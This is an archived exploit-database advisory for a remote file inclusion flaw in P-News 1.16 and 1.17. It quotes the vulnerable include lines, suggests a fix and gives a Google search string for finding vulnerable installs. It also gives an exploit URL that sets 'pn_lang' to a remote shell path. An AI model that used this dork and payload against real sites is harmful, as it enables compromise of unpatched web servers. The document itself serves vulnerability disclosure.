P-News 1.16 - Remote File Inclusion

Author: vegas78
type: webapps
platform: php
port: 
date_added: 2006-10-15  
date_updated:   
verified: 1  
codes: OSVDB-33791;CVE-2006-5434  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 2577.txt  
============================================
P-News 1.16, 1.17 Remote File Inclusion Vulnerability
============================================

Discovered by vegas78 - feel82[at]web.de
============================================
Greetz: scoper, corny, smaesch0r, Sascha Schmalz,
        ReFleCtion, BleX, |pupi (?),
============================================

include("$pn_lang/functions.php"); // bad code
include("$pn_lang/language.php"); // bad code
...

fix:
make absolute path declaration or update to the new 2.* version

// Google string
allintitle:"P-news ver. 1.16" / allinurl:p-news.php

================================================================

http://site/p-news.php?pn_lang=[shell]

================================================================

# milw0rm.com [2006-10-16]